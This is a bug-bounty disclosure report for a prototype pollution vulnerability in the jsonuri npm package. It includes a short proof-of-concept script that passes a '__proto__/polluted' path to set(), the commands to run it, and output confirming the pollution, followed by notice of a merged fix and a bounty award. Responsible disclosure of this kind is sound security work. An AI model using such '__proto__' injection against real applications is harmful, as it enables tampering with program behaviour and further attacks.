Prototype Pollution in allgay/jsonuri

Valid
Reported on Jan 10th 2021

Description

jsonuri is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const {set} = require('jsonuri')
var obj = {}
console.log("Before : " + {}.polluted);
set({}, ['__proto__/polluted'], 'Yes! Its Polluted');
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i jsonuri # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
耗子 confirmed that a fix has been merged on ca466e 11 days ago
d3v53c has been awarded the fix bounty
$25